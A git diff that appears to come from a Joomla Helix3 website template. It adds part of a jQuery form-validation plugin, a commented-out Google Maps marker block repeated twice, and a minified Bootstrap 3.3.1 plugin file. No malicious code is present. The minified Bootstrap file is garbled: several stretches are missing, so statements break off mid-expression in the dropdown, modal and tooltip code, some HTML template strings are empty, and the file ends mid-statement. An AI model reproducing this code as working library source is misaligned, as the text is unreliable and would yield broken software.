+ this.normalizeAttributeRule(n, r, i, s);
+ return n
+ },
+ staticRules: function(e) {
+ var i = {}
+ , s = t.data(e.form, "validator");
+ return s.settings.rules && (i = t.validator.normalizeRule(s.settings.rules[e.name]) || {}),
+ i
+ },
+ normalizeRules: function(e, i) {
+ return t.each(e, function(s, n) {
+ if (n === !1)
+ return void delete e[s];
+ if (n.param || n.depends) {
+ var o = !0;
+ switch (typeof n.depends) {
+ case "string":
+ o = !!t(n.depends, i.form).length;
+ break;
+ case "function":
+ o = n.depends.call(i, i)
+ }
+ o ? e[s] = void 0 !== n.param ? n.param : !0 : delete e[s]
+ }
+ }
+ ),
+ t.each(e, function(s, n) {
+ e[s] = t.isFunction(n) ? n(i) : n
+ }
+ ),
+ t.each(["minlength", "maxlength"], function() {
+ e[this] && (e[this] = Number(e[this]))
+ }
+ ),
+ t.each(["rangelength", "range"], function() {
+ var i;
+ e[this] && (t.isArray(e[this]) ? e[this] = [Number(e[this][0]), Number(e[this][1])] : "string" == typeof e[this] && (i = e[this].replace(/[\[\]]/g, "").split(/[\s,]+/),
+ e[this] = [Number(i[0]), Number(i[1])]))
+ }
+ ),
+ t.validator.autoCreateRanges && (null != e.min && null != e.max && (e.range = [e.min, e.max],
+ delete e.min,
+ delete e.max),
+ null != e.minlength && null != e.maxlength && (e.rangelength = [e.minlength, e.maxlength],
+ delete e.minlength,
+ delete e.maxlength)),
+ e
+ },
+ normalizeRule: function(e) {
+ if ("string" == typeof e) {
+ var i = {};
+ t.each(e.split(/\s/), function() {
+ i[this] = !0
+ }
+ ),
+ e = i
+ }
+ return e
+ },
+ addMethod: function(e, i, s) {
+ t.validator.methods[e] = i,
+ t.validator.messages[e] = void 0 !== s ? s : t.validator.messages[e],
+ i.length < 3 && t.validator.addClassRules(e, t.validator.normalizeRule(e))
+ },
+ methods: {
+ required: function(e, i, s) {
+ if (!this.depend(s, i))
+ return "dependency-mismatch";
+ if ("select" === i.nodeName.toLowerCase()) {
+ var n = t(i).val();
+ return n && n.length > 0
+ }
+ return this.checkable(i) ? this.getLength(e, i) > 0 : e.length > 0
+ },
+ email: function(t, e) {
+ return this.optional(e) || /^[a-zA-Z0-9.!#$%&'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/.test(t)
+ },
+ url: function(t, e) {
+ return this.optional(e) || /^(?:(?:(?:https?|ftp):)?\/\/)(?:\S+(?::\S*)?@)?(?:(?!(?:10|127)(?:\.\d{1,3}){3})(?!(?:169\.254|192\.168)(?:\.\d{1,3}){2})(?!172\.(?:1[6-9]|2\d|3[0-1])(?:\.\d{1,3}){2})(?:[1-9]\d?|1\d\d|2[01]\d|22[0-3])(?:\.(?:1?\d{1,2}|2[0-4]\d|25[0-5])){2}(?:\.(?:[1-9]\d?|1\d\d|2[0-4]\d|25[0-4]))|(?:(?:[a-z\u00a1-\uffff0-9]-*)*[a-z\u00a1-\uffff0-9]+)(?:\.(?:[a-z\u00a1-\uffff0-9]-*)*[a-z\u00a1-\uffff0-9]+)*(?:\.(?:[a-z\u00a1-\uffff]{2,})).?)(?::\d{2,5})?(?:[/?#]\S*)?$/i.test(t)
+ },
+ date: function(t, e) {
+ return this.optional(e) || !/Invalid|NaN/.test(new Date(t).toString())
+ },
+ dateISO: function(t, e) {
+ return this.optional(e) || /^\d{4}[\/\-](0?[1-9]|1[012])[\/\-](0?[1-9]|[12][0-9]|3[01])$/.test(t)
+ },
+ number: function(t, e) {
+ return this.optional(e) || /^(?:-?\d+|-?\d{1,3}(?:,\d{3})+)?(?:\.\d+)?$/.test(t)
+ },
+ digits: function(t, e) {
+ return this.optional(e) || /^\d+$/.test(t)
+ },
+ creditcard: function(t, e) {
+ if (this.optional(e))
+ return "dependency-mismatch";
+ if (/[^0-9 \-]+/.test(t))
+ return !1;
+ var i, s, n = 0, o = 0, r = !1;
+ if (t = t.replace(/\D/g, ""),
+ t.length < 13 || t.length > 19)
+ return !1;
+ for (i = t.length - 1; i >= 0; i--)
+ s = t.charAt(i),
+ o = parseInt(s, 10),
+ r && (o *= 2) > 9 && (o -= 9),
+ n += o,
+ r = !r;
+ return n % 10 === 0
+ },
+ minlength: function(e, i, s) {
+ var n = t.isArray(e) ? e.length : this.getLength(e, i);
+ return this.optional(i) || n >= s
+ },
+ maxlength: function(e, i, s) {
+ var n = t.isArray(e) ? e.length : this.getLength(e, i);
+ return this.optional(i) || s >= n
+ },
+ rangelength: function(e, i, s) {
+ var n = t.isArray(e) ? e.length : this.getLength(e, i);
+ return this.optional(i) || n >= s[0] && n <= s[1]
+ },
+ min: function(t, e, i) {
+ return this.optional(e) || t >= i
+ },
+ max: function(t, e, i) {
+ return this.optional(e) || i >= t
+ },
+ range: function(t, e, i) {
+ return this.optional(e) || t >= i[0] && t <= i[1]
+ },
+ equalTo: function(e, i, s) {
+ var n = t(s);
+ return this.settings.onfocusout && n.off(".validate-equalTo").on("blur.validate-equalTo", function() {
+ t(i).valid()
+ }
+ ),
+ e === n.val()
+ },
+ remote: function(e, i, s) {
+ if (this.optional(i))
+ return "dependency-mismatch";
+ var n, o, r = this.previousValue(i);
+ return this.settings.messages[i.name] || (this.settings.messages[i.name] = {}),
+ r.originalMessage = this.settings.messages[i.name].remote,
+ this.settings.messages[i.name].remote = r.message,
+ s = "string" == typeof s && {
+ url: s
+ } || s,
+ r.old === e ? r.valid : (r.old = e,
+ n = this,
+ this.startRequest(i),
+ o = {},
+ o[i.name] = e,
+ t.ajax(t.extend(!0, {
+ mode: "abort",
+ port: "validate" + i.name,
+ dataType: "json",
+ data: o,
+ context: n.currentForm,
+ success: function(s) {
+ var o, a, l, h = s === !0 || "true" === s;
+ n.settings.messages[i.name].remote = r.originalMessage,
+ h ? (l = n.formSubmitted,
+ n.prepareElement(i),
+ n.formSubmitted = l,
+ n.successList.push(i),
+ delete n.invalid[i.name],
+ n.showErrors()) : (o = {},
+ a = s || n.defaultMessage(i, "remote"),
+ o[i.name] = r.message = t.isFunction(a) ? a(e) : a,
+ n.invalid[i.name] = !0,
+ n.showErrors(o)),
+ r.valid = h,
+ n.stopRequest(i, h)
+ }
+ }, s)),
+ "pending")
+ }
+ }
+ });
+ var e, i = {};
+ t.ajaxPrefilter ? t.ajaxPrefilter(function(t, e, s) {
+ var n = t.port;
+ "abort" === t.mode && (i[n] && i[n].abort(),
+ i[n] = s)
+ }
+ ) : (e = t.ajax,
+ t.ajax = function(s) {
+ var n = ("mode" in s ? s : t.ajaxSettings).mode
+ , o = ("port" in s ? s : t.ajaxSettings).port;
+ return "abort" === n ? (i[o] && i[o].abort(),
+ i[o] = e.apply(this, arguments),
+ i[o]) : e.apply(this, arguments)
+ }
+ )
+ }
+ )//,
+ /*google.maps.event.addDomListener(window, "load", init),
+ CustomMarker.prototype = new google.maps.OverlayView,
+ CustomMarker.prototype.draw = function() {
+ var t = this
+ , e = this.div;
+ if (!e) {
+ e = this.div = document.createElement("div"),
+ e.className = "b-contacts_map_marker",
+ e.style.position = "absolute",
+ e.style.cursor = "pointer",
+ "undefined" != typeof t.args.marker_id && "undefined" != typeof e.dataset && (e.dataset.marker_id = t.args.marker_id);
+ var i = this.getPanes();
+ i.overlayImage.appendChild(e)
+ }
+ var s = this.getProjection().fromLatLngToDivPixel(this.latlng);
+ s && (e.style.left = s.x - 17 + "px",
+ e.style.top = s.y - 17 + "px")
+ }
+ ,
+ CustomMarker.prototype.remove = function() {
+ this.div && (this.div.parentNode.removeChild(this.div),
+ this.div = null )
+ }
+ ,
+ CustomMarker.prototype.getPosition = function() {
+ return this.latlng
+ }
+ ,
+ google.maps.event.addDomListener(window, "load", init),
+ CustomMarker.prototype = new google.maps.OverlayView,
+ CustomMarker.prototype.draw = function() {
+ var t = this
+ , e = this.div;
+ if (!e) {
+ e = this.div = document.createElement("div"),
+ e.className = "b-contacts_map_marker",
+ e.style.position = "absolute",
+ e.style.cursor = "pointer",
+ "undefined" != typeof t.args.marker_id && "undefined" != typeof e.dataset && (e.dataset.marker_id = t.args.marker_id);
+ var i = this.getPanes();
+ i.overlayImage.appendChild(e)
+ }
+ var s = this.getProjection().fromLatLngToDivPixel(this.latlng);
+ s && (e.style.left = s.x - 17 + "px",
+ e.style.top = s.y - 17 + "px")
+ }
+ ,
+ CustomMarker.prototype.remove = function() {
+ this.div && (this.div.parentNode.removeChild(this.div),
+ this.div = null )
+ }
+ ,
+ CustomMarker.prototype.getPosition = function() {
+ return this.latlng
+ }*/
+ ;
+
+} )( jQuery );
\ No newline at end of file
diff --git a/deployed/helix3/templates/shaper_helix3/js/jquery.plugins.inner.min.js b/deployed/helix3/templates/shaper_helix3/js/jquery.plugins.inner.min.js
new file mode 100644
index 00000000..64ca1a23
--- /dev/null
+++ b/deployed/helix3/templates/shaper_helix3/js/jquery.plugins.inner.min.js
@@ -0,0 +1,3 @@
+if("undefined"==typeof jQuery)throw new Error("Bootstrap's JavaScript requires jQuery");+function(t){var e=t.fn.jquery.split(" ")[0].split(".");if(e[0]<2&&e[1]<9||1==e[0]&&9==e[1]&&e[2]<1)throw new Error("Bootstrap's JavaScript requires jQuery version 1.9.1 or higher")}(jQuery),+function(t){"use strict";function e(){var t=document.createElement("bootstrap"),e={WebkitTransition:"webkitTransitionEnd",MozTransition:"transitionend",OTransition:"oTransitionEnd otransitionend",transition:"transitionend"};for(var i in e)if(void 0!==t.style[i])return{end:e[i]};return!1}t.fn.emulateTransitionEnd=function(e){var i=!1,n=this;t(this).one("bsTransitionEnd",function(){i=!0});var s=function(){i||t(n).trigger(t.support.transition.end)};return setTimeout(s,e),this},t(function(){t.support.transition=e(),t.support.transition&&(t.event.special.bsTransitionEnd={bindType:t.support.transition.end,delegateType:t.support.transition.end,handle:function(e){return t(e.target).is(this)?e.handleObj.handler.apply(this,arguments):void 0}})})}(jQuery),+function(t){"use strict";function e(e){return this.each(function(){var i=t(this),s=i.data("bs.alert");s||i.data("bs.alert",s=new n(this)),"string"==typeof e&&s[e].call(i)})}var i='[data-dismiss="alert"]',n=function(e){t(e).on("click",i,this.close)};n.VERSION="3.3.1",n.TRANSITION_DURATION=150,n.prototype.close=function(e){function i(){r.detach().trigger("closed.bs.alert").remove()}var s=t(this),o=s.attr("data-target");o||(o=s.attr("href"),o=o&&o.replace(/.*(?=#[^\s]*$)/,""));var r=t(o);e&&e.preventDefault(),r.length||(r=s.closest(".alert")),r.trigger(e=t.Event("close.bs.alert")),e.isDefaultPrevented()||(r.removeClass("in"),t.support.transition&&r.hasClass("fade")?r.one("bsTransitionEnd",i).emulateTransitionEnd(n.TRANSITION_DURATION):i())};var s=t.fn.alert;t.fn.alert=e,t.fn.alert.Constructor=n,t.fn.alert.noConflict=function(){return t.fn.alert=s,this},t(document).on("click.bs.alert.data-api",i,n.prototype.close)}(jQuery),+function(t){"use strict";function e(e){return this.each(function(){var n=t(this),s=n.data("bs.button"),o="object"==typeof e&&e;s||n.data("bs.button",s=new i(this,o)),"toggle"==e?s.toggle():e&&s.setState(e)})}var i=function(e,n){this.$element=t(e),this.options=t.extend({},i.DEFAULTS,n),this.isLoading=!1};i.VERSION="3.3.1",i.DEFAULTS={loadingText:"loading..."},i.prototype.setState=function(e){var i="disabled",n=this.$element,s=n.is("input")?"val":"html",o=n.data();e+="Text",null==o.resetText&&n.data("resetText",n[s]()),setTimeout(t.proxy(function(){n[s](null==o[e]?this.options[e]:o[e]),"loadingText"==e?(this.isLoading=!0,n.addClass(i).attr(i,i)):this.isLoading&&(this.isLoading=!1,n.removeClass(i).removeAttr(i))},this),0)},i.prototype.toggle=function(){var t=!0,e=this.$element.closest('[data-toggle="buttons"]');if(e.length){var i=this.$element.find("input");"radio"==i.prop("type")&&(i.prop("checked")&&this.$element.hasClass("active")?t=!1:e.find(".active").removeClass("active")),t&&i.prop("checked",!this.$element.hasClass("active")).trigger("change")}else this.$element.attr("aria-pressed",!this.$element.hasClass("active"));t&&this.$element.toggleClass("active")};var n=t.fn.button;t.fn.button=e,t.fn.button.Constructor=i,t.fn.button.noConflict=function(){return t.fn.button=n,this},t(document).on("click.bs.button.data-api",'[data-toggle^="button"]',function(i){var n=t(i.target);n.hasClass("btn")||(n=n.closest(".btn")),e.call(n,"toggle"),i.preventDefault()}).on("focus.bs.button.data-api blur.bs.button.data-api",'[data-toggle^="button"]',function(e){t(e.target).closest(".btn").toggleClass("focus",/^focus(in)?$/.test(e.type))})}(jQuery),+function(t){"use strict";function e(e){return this.each(function(){var n=t(this),s=n.data("bs.carousel"),o=t.extend({},i.DEFAULTS,n.data(),"object"==typeof e&&e),r="string"==typeof e?e:o.slide;s||n.data("bs.carousel",s=new i(this,o)),"number"==typeof e?s.to(e):r?s[r]():o.interval&&s.pause().cycle()})}var i=function(e,i){this.$element=t(e),this.$indicators=this.$element.find(".carousel-indicators"),this.options=i,this.paused=this.sliding=this.interval=this.$active=this.$items=null,this.options.keyboard&&this.$element.on("keydown.bs.carousel",t.proxy(this.keydown,this)),"hover"==this.options.pause&&!("ontouchstart"in document.documentElement)&&this.$element.on("mouseenter.bs.carousel",t.proxy(this.pause,this)).on("mouseleave.bs.carousel",t.proxy(this.cycle,this))};i.VERSION="3.3.1",i.TRANSITION_DURATION=600,i.DEFAULTS={interval:5e3,pause:"hover",wrap:!0,keyboard:!0},i.prototype.keydown=function(t){if(!/input|textarea/i.test(t.target.tagName)){switch(t.which){case 37:this.prev();break;case 39:this.next();break;default:return}t.preventDefault()}},i.prototype.cycle=function(e){return e||(this.paused=!1),this.interval&&clearInterval(this.interval),this.options.interval&&!this.paused&&(this.interval=setInterval(t.proxy(this.next,this),this.options.interval)),this},i.prototype.getItemIndex=function(t){return this.$items=t.parent().children(".item"),this.$items.index(t||this.$active)},i.prototype.getItemForDirection=function(t,e){var i="prev"==t?-1:1,n=this.getItemIndex(e),s=(n+i)%this.$items.length;return this.$items.eq(s)},i.prototype.to=function(t){var e=this,i=this.getItemIndex(this.$active=this.$element.find(".item.active"));return t>this.$items.length-1||0>t?void 0:this.sliding?this.$element.one("slid.bs.carousel",function(){e.to(t)}):i==t?this.pause().cycle():this.slide(t>i?"next":"prev",this.$items.eq(t))},i.prototype.pause=function(e){return e||(this.paused=!0),this.$element.find(".next, .prev").length&&t.support.transition&&(this.$element.trigger(t.support.transition.end),this.cycle(!0)),this.interval=clearInterval(this.interval),this},i.prototype.next=function(){return this.sliding?void 0:this.slide("next")},i.prototype.prev=function(){return this.sliding?void 0:this.slide("prev")},i.prototype.slide=function(e,n){var s=this.$element.find(".item.active"),o=n||this.getItemForDirection(e,s),r=this.interval,a="next"==e?"left":"right",l="next"==e?"first":"last",d=this;if(!o.length){if(!this.options.wrap)return;o=this.$element.find(".item")[l]()}if(o.hasClass("active"))return this.sliding=!1;var h=o[0],c=t.Event("slide.bs.carousel",{relatedTarget:h,direction:a});if(this.$element.trigger(c),!c.isDefaultPrevented()){if(this.sliding=!0,r&&this.pause(),this.$indicators.length){this.$indicators.find(".active").removeClass("active");var u=t(this.$indicators.children()[this.getItemIndex(o)]);u&&u.addClass("active")}var p=t.Event("slid.bs.carousel",{relatedTarget:h,direction:a});return t.support.transition&&this.$element.hasClass("slide")?(o.addClass(e),o[0].offsetWidth,s.addClass(a),o.addClass(a),s.one("bsTransitionEnd",function(){o.removeClass([e,a].join(" ")).addClass("active"),s.removeClass(["active",a].join(" ")),d.sliding=!1,setTimeout(function(){d.$element.trigger(p)},0)}).emulateTransitionEnd(i.TRANSITION_DURATION)):(s.removeClass("active"),o.addClass("active"),this.sliding=!1,this.$element.trigger(p)),r&&this.cycle(),this}};var n=t.fn.carousel;t.fn.carousel=e,t.fn.carousel.Constructor=i,t.fn.carousel.noConflict=function(){return t.fn.carousel=n,this};var s=function(i){var n,s=t(this),o=t(s.attr("data-target")||(n=s.attr("href"))&&n.replace(/.*(?=#[^\s]+$)/,""));if(o.hasClass("carousel")){var r=t.extend({},o.data(),s.data()),a=s.attr("data-slide-to");a&&(r.interval=!1),e.call(o,r),a&&o.data("bs.carousel").to(a),i.preventDefault()}};t(document).on("click.bs.carousel.data-api","[data-slide]",s).on("click.bs.carousel.data-api","[data-slide-to]",s),t(window).on("load",function(){t('[data-ride="carousel"]').each(function(){var i=t(this);e.call(i,i.data())})})}(jQuery),+function(t){"use strict";function e(e){var i,n=e.attr("data-target")||(i=e.attr("href"))&&i.replace(/.*(?=#[^\s]+$)/,"");return t(n)}function i(e){return this.each(function(){var i=t(this),s=i.data("bs.collapse"),o=t.extend({},n.DEFAULTS,i.data(),"object"==typeof e&&e);!s&&o.toggle&&"show"==e&&(o.toggle=!1),s||i.data("bs.collapse",s=new n(this,o)),"string"==typeof e&&s[e]()})}var n=function(e,i){this.$element=t(e),this.options=t.extend({},n.DEFAULTS,i),this.$trigger=t(this.options.trigger).filter('[href="#'+e.id+'"], [data-target="#'+e.id+'"]'),this.transitioning=null,this.options.parent?this.$parent=this.getParent():this.addAriaAndCollapsedClass(this.$element,this.$trigger),this.options.toggle&&this.toggle()};n.VERSION="3.3.1",n.TRANSITION_DURATION=350,n.DEFAULTS={toggle:!0,trigger:'[data-toggle="collapse"]'},n.prototype.dimension=function(){var t=this.$element.hasClass("width");return t?"width":"height"},n.prototype.show=function(){if(!this.transitioning&&!this.$element.hasClass("in")){var e,s=this.$parent&&this.$parent.find("> .panel").children(".in, .collapsing");if(!(s&&s.length&&(e=s.data("bs.collapse"),e&&e.transitioning))){var o=t.Event("show.bs.collapse");if(this.$element.trigger(o),!o.isDefaultPrevented()){s&&s.length&&(i.call(s,"hide"),e||s.data("bs.collapse",null));var r=this.dimension();this.$element.removeClass("collapse").addClass("collapsing")[r](0).attr("aria-expanded",!0),this.$trigger.removeClass("collapsed").attr("aria-expanded",!0),this.transitioning=1;var a=function(){this.$element.removeClass("collapsing").addClass("collapse in")[r](""),this.transitioning=0,this.$element.trigger("shown.bs.collapse")};if(!t.support.transition)return a.call(this);var l=t.camelCase(["scroll",r].join("-"));this.$element.one("bsTransitionEnd",t.proxy(a,this)).emulateTransitionEnd(n.TRANSITION_DURATION)[r](this.$element[0][l])}}}},n.prototype.hide=function(){if(!this.transitioning&&this.$element.hasClass("in")){var e=t.Event("hide.bs.collapse");if(this.$element.trigger(e),!e.isDefaultPrevented()){var i=this.dimension();this.$element[i](this.$element[i]())[0].offsetHeight,this.$element.addClass("collapsing").removeClass("collapse in").attr("aria-expanded",!1),this.$trigger.addClass("collapsed").attr("aria-expanded",!1),this.transitioning=1;var s=function(){this.transitioning=0,this.$element.removeClass("collapsing").addClass("collapse").trigger("hidden.bs.collapse")};return t.support.transition?void this.$element[i](0).one("bsTransitionEnd",t.proxy(s,this)).emulateTransitionEnd(n.TRANSITION_DURATION):s.call(this)}}},n.prototype.toggle=function(){this[this.$element.hasClass("in")?"hide":"show"]()},n.prototype.getParent=function(){return t(this.options.parent).find('[data-toggle="collapse"][data-parent="'+this.options.parent+'"]').each(t.proxy(function(i,n){var s=t(n);this.addAriaAndCollapsedClass(e(s),s)},this)).end()},n.prototype.addAriaAndCollapsedClass=function(t,e){var i=t.hasClass("in");t.attr("aria-expanded",i),e.toggleClass("collapsed",!i).attr("aria-expanded",i)};var s=t.fn.collapse;t.fn.collapse=i,t.fn.collapse.Constructor=n,t.fn.collapse.noConflict=function(){return t.fn.collapse=s,this},t(document).on("click.bs.collapse.data-api",'[data-toggle="collapse"]',function(n){var s=t(this);s.attr("data-target")||n.preventDefault();var o=e(s),r=o.data("bs.collapse"),a=r?"toggle":t.extend({},s.data(),{trigger:this});i.call(o,a)})}(jQuery),+function(t){"use strict";function e(e){e&&3===e.which||(t(s).remove(),t(o).each(function(){var n=t(this),s=i(n),o={relatedTarget:this};s.hasClass("open")&&(s.trigger(e=t.Event("hide.bs.dropdown",o)),e.isDefaultPrevented()||(n.attr("aria-expanded","false"),s.removeClass("open").trigger("hidden.bs.dropdown",o)))}))}function i(e){var i=e.attr("data-target");i||(i=e.attr("href"),i=i&&/#[A-Za-z]/.test(i)&&i.replace(/.*(?=#[^\s]*$)/,""));var n=i&&t(i);return n&&n.length?n:e.parent()}function n(e){return this.each(function(){var i=t(this),n=i.data("bs.dropdown");n||i.data("bs.dropdown",n=new r(this)),"string"==typeof e&&n[e].call(i)})}var s=".dropdown-backdrop",o='[data-toggle="dropdown"]',r=function(e){t(e).on("click.bs.dropdown",this.toggle)};r.VERSION="3.3.1",r.prototype.toggle=function(n){var s=t(this);if(!s.is(".disabled, :disabled")){var o=i(s),r=o.hasClass("open");if(e(),!r){"ontouchstart"in document.documentElement&&!o.closest(".navbar-nav").length&&t('
').insertAfter(t(this)).on("click",e);var a={relatedTarget:this};if(o.trigger(n=t.Event("show.bs.dropdown",a)),n.isDefaultPrevented())return;s.trigger("focus").attr("aria-expanded","true"),o.toggleClass("open").trigger("shown.bs.dropdown",a)}return!1}},r.prototype.keydown=function(e){if(/(38|40|27|32)/.test(e.which)&&!/input|textarea/i.test(e.target.tagName)){var n=t(this);if(e.preventDefault(),e.stopPropagation(),!n.is(".disabled, :disabled")){var s=i(n),r=s.hasClass("open");if(!r&&27!=e.which||r&&27==e.which)return 27==e.which&&s.find(o).trigger("focus"),n.trigger("click");var a=" li:not(.divider):visible a",l=s.find('[role="menu"]'+a+', [role="listbox"]'+a);if(l.length){var d=l.index(e.target);38==e.which&&d>0&&d--,40==e.which&&d
').prependTo(this.$element).on("click.dismiss.bs.modal",t.proxy(function(t){t.target===t.currentTarget&&("static"==this.options.backdrop?this.$element[0].focus.call(this.$element[0]):this.hide.call(this))},this)),o&&this.$backdrop[0].offsetWidth,this.$backdrop.addClass("in"),!e)return;o?this.$backdrop.one("bsTransitionEnd",e).emulateTransitionEnd(i.BACKDROP_TRANSITION_DURATION):e()}else if(!this.isShown&&this.$backdrop){this.$backdrop.removeClass("in");var r=function(){n.removeBackdrop(),e&&e()};t.support.transition&&this.$element.hasClass("fade")?this.$backdrop.one("bsTransitionEnd",r).emulateTransitionEnd(i.BACKDROP_TRANSITION_DURATION):r()}else e&&e()},i.prototype.handleUpdate=function(){this.options.backdrop&&this.adjustBackdrop(),this.adjustDialog()},i.prototype.adjustBackdrop=function(){this.$backdrop.css("height",0).css("height",this.$element[0].scrollHeight)},i.prototype.adjustDialog=function(){var t=this.$element[0].scrollHeight>document.documentElement.clientHeight;this.$element.css({paddingLeft:!this.bodyIsOverflowing&&t?this.scrollbarWidth:"",paddingRight:this.bodyIsOverflowing&&!t?this.scrollbarWidth:""})},i.prototype.resetAdjustments=function(){this.$element.css({paddingLeft:"",paddingRight:""})},i.prototype.checkScrollbar=function(){this.bodyIsOverflowing=document.body.scrollHeight>document.documentElement.clientHeight,this.scrollbarWidth=this.measureScrollbar()},i.prototype.setScrollbar=function(){var t=parseInt(this.$body.css("padding-right")||0,10);this.bodyIsOverflowing&&this.$body.css("padding-right",t+this.scrollbarWidth)},i.prototype.resetScrollbar=function(){this.$body.css("padding-right","")},i.prototype.measureScrollbar=function(){var t=document.createElement("div");t.className="modal-scrollbar-measure",this.$body.append(t);var e=t.offsetWidth-t.clientWidth;return this.$body[0].removeChild(t),e};var n=t.fn.modal;t.fn.modal=e,t.fn.modal.Constructor=i,t.fn.modal.noConflict=function(){return t.fn.modal=n,this},t(document).on("click.bs.modal.data-api",'[data-toggle="modal"]',function(i){var n=t(this),s=n.attr("href"),o=t(n.attr("data-target")||s&&s.replace(/.*(?=#[^\s]+$)/,"")),r=o.data("bs.modal")?"toggle":t.extend({remote:!/#/.test(s)&&s},o.data(),n.data());n.is("a")&&i.preventDefault(),o.one("show.bs.modal",function(t){t.isDefaultPrevented()||o.one("hidden.bs.modal",function(){n.is(":visible")&&n.trigger("focus")})}),e.call(o,r,this)})}(jQuery),+function(t){"use strict";function e(e){return this.each(function(){var n=t(this),s=n.data("bs.tooltip"),o="object"==typeof e&&e,r=o&&o.selector;(s||"destroy"!=e)&&(r?(s||n.data("bs.tooltip",s={}),s[r]||(s[r]=new i(this,o))):s||n.data("bs.tooltip",s=new i(this,o)),"string"==typeof e&&s[e]())})}var i=function(t,e){this.type=this.options=this.enabled=this.timeout=this.hoverState=this.$element=null,this.init("tooltip",t,e)};i.VERSION="3.3.1",i.TRANSITION_DURATION=150,i.DEFAULTS={animation:!0,placement:"top",selector:!1,template:'
',trigger:"hover focus",title:"",delay:0,html:!1,container:!1,viewport:{selector:"body",padding:0}},i.prototype.init=function(e,i,n){this.enabled=!0,this.type=e,this.$element=t(i),this.options=this.getOptions(n),this.$viewport=this.options.viewport&&t(this.options.viewport.selector||this.options.viewport);for(var s=this.options.trigger.split(" "),o=s.length;o--;){var r=s[o];if("click"==r)this.$element.on("click."+this.type,this.options.selector,t.proxy(this.toggle,this));else if("manual"!=r){var a="hover"==r?"mouseenter":"focusin",l="hover"==r?"mouseleave":"focusout";this.$element.on(a+"."+this.type,this.options.selector,t.proxy(this.enter,this)),this.$element.on(l+"."+this.type,this.options.selector,t.proxy(this.leave,this))}}this.options.selector?this._options=t.extend({},this.options,{trigger:"manual",selector:""}):this.fixTitle()},i.prototype.getDefaults=function(){return i.DEFAULTS},i.prototype.getOptions=function(e){return e=t.extend({},this.getDefaults(),this.$element.data(),e),e.delay&&"number"==typeof e.delay&&(e.delay={show:e.delay,hide:e.delay}),e},i.prototype.getDelegateOptions=function(){var e={},i=this.getDefaults();return this._options&&t.each(this._options,function(t,n){i[t]!=n&&(e[t]=n)}),e},i.prototype.enter=function(e){var i=e instanceof this.constructor?e:t(e.currentTarget).data("bs."+this.type);return i&&i.$tip&&i.$tip.is(":visible")?void(i.hoverState="in"):(i||(i=new this.constructor(e.currentTarget,this.getDelegateOptions()),t(e.currentTarget).data("bs."+this.type,i)),clearTimeout(i.timeout),i.hoverState="in",i.options.delay&&i.options.delay.show?void(i.timeout=setTimeout(function(){"in"==i.hoverState&&i.show()},i.options.delay.show)):i.show())},i.prototype.leave=function(e){var i=e instanceof this.constructor?e:t(e.currentTarget).data("bs."+this.type);return i||(i=new this.constructor(e.currentTarget,this.getDelegateOptions()),t(e.currentTarget).data("bs."+this.type,i)),clearTimeout(i.timeout),i.hoverState="out",i.options.delay&&i.options.delay.hide?void(i.timeout=setTimeout(function(){"out"==i.hoverState&&i.hide()},i.options.delay.hide)):i.hide()},i.prototype.show=function(){var e=t.Event("show.bs."+this.type);if(this.hasContent()&&this.enabled){this.$element.trigger(e);var n=t.contains(this.$element[0].ownerDocument.documentElement,this.$element[0]);if(e.isDefaultPrevented()||!n)return;var s=this,o=this.tip(),r=this.getUID(this.type);this.setContent(),o.attr("id",r),this.$element.attr("aria-describedby",r),this.options.animation&&o.addClass("fade");var a="function"==typeof this.options.placement?this.options.placement.call(this,o[0],this.$element[0]):this.options.placement,l=/\s?auto?\s?/i,d=l.test(a);d&&(a=a.replace(l,"")||"top"),o.detach().css({top:0,left:0,display:"block"}).addClass(a).data("bs."+this.type,this),this.options.container?o.appendTo(this.options.container):o.insertAfter(this.$element);var h=this.getPosition(),c=o[0].offsetWidth,u=o[0].offsetHeight;if(d){var p=a,f=this.options.container?t(this.options.container):this.$element.parent(),g=this.getPosition(f);a="bottom"==a&&h.bottom+u>g.bottom?"top":"top"==a&&h.top-u
g.width?"left":"left"==a&&h.left-cr.top+r.height&&(s.top=r.top+r.height-l)}else{var d=e.left-o,h=e.left+o+i;dr.width&&(s.left=r.left+r.width-h)}return s},i.prototype.getTitle=function(){var t,e=this.$element,i=this.options;return t=e.attr("data-original-title")||("function"==typeof i.title?i.title.call(e[0]):i.title)},i.prototype.getUID=function(t){do t+=~~(1e6*Math.random());while(document.getElementById(t));return t},i.prototype.tip=function(){return this.$tip=this.$tip||t(this.options.template)},i.prototype.arrow=function(){return this.$arrow=this.$arrow||this.tip().find(".tooltip-arrow")},i.prototype.enable=function(){this.enabled=!0},i.prototype.disable=function(){this.enabled=!1},i.prototype.toggleEnabled=function(){this.enabled=!this.enabled},i.prototype.toggle=function(e){var i=this;e&&(i=t(e.currentTarget).data("bs."+this.type),i||(i=new this.constructor(e.currentTarget,this.getDelegateOptions()),t(e.currentTarget).data("bs."+this.type,i))),i.tip().hasClass("in")?i.leave(i):i.enter(i)},i.prototype.destroy=function(){var t=this;clearTimeout(this.timeout),this.hide(function(){t.$element.off("."+t.type).removeData("bs."+t.type)})};var n=t.fn.tooltip;t.fn.tooltip=e,t.fn.tooltip.Constructor=i,t.fn.tooltip.noConflict=function(){return t.fn.tooltip=n,this}}(jQuery),+function(t){"use strict";function e(e){return this.each(function(){var n=t(this),s=n.data("bs.popover"),o="object"==typeof e&&e,r=o&&o.selector;(s||"destroy"!=e)&&(r?(s||n.data("bs.popover",s={}),s[r]||(s[r]=new i(this,o))):s||n.data("bs.popover",s=new i(this,o)),"string"==typeof e&&s[e]())})}var i=function(t,e){this.init("popover",t,e)};if(!t.fn.tooltip)throw new Error("Popover requires tooltip.js");i.VERSION="3.3.1",i.DEFAULTS=t.extend({},t.fn.tooltip.Constructor.DEFAULTS,{placement:"right",trigger:"click",content:"",template:''}),i.prototype=t.extend({},t.fn.tooltip.Constructor.prototype),i.prototype.constructor=i,i.prototype.getDefaults=function(){return i.DEFAULTS},i.prototype.setContent=function(){var t=this.tip(),e=this.getTitle(),i=this.getContent();t.find(".popover-title")[this.options.html?"html":"text"](e),t.find(".popover-content").children().detach().end()[this.options.html?"string"==typeof i?"html":"append":"text"](i),t.removeClass("fade top bottom left right in"),t.find(".popover-title").html()||t.find(".popover-title").hide()},i.prototype.hasContent=function(){return this.getTitle()||this.getContent()},i.prototype.getContent=function(){var t=this.$element,e=this.options;return 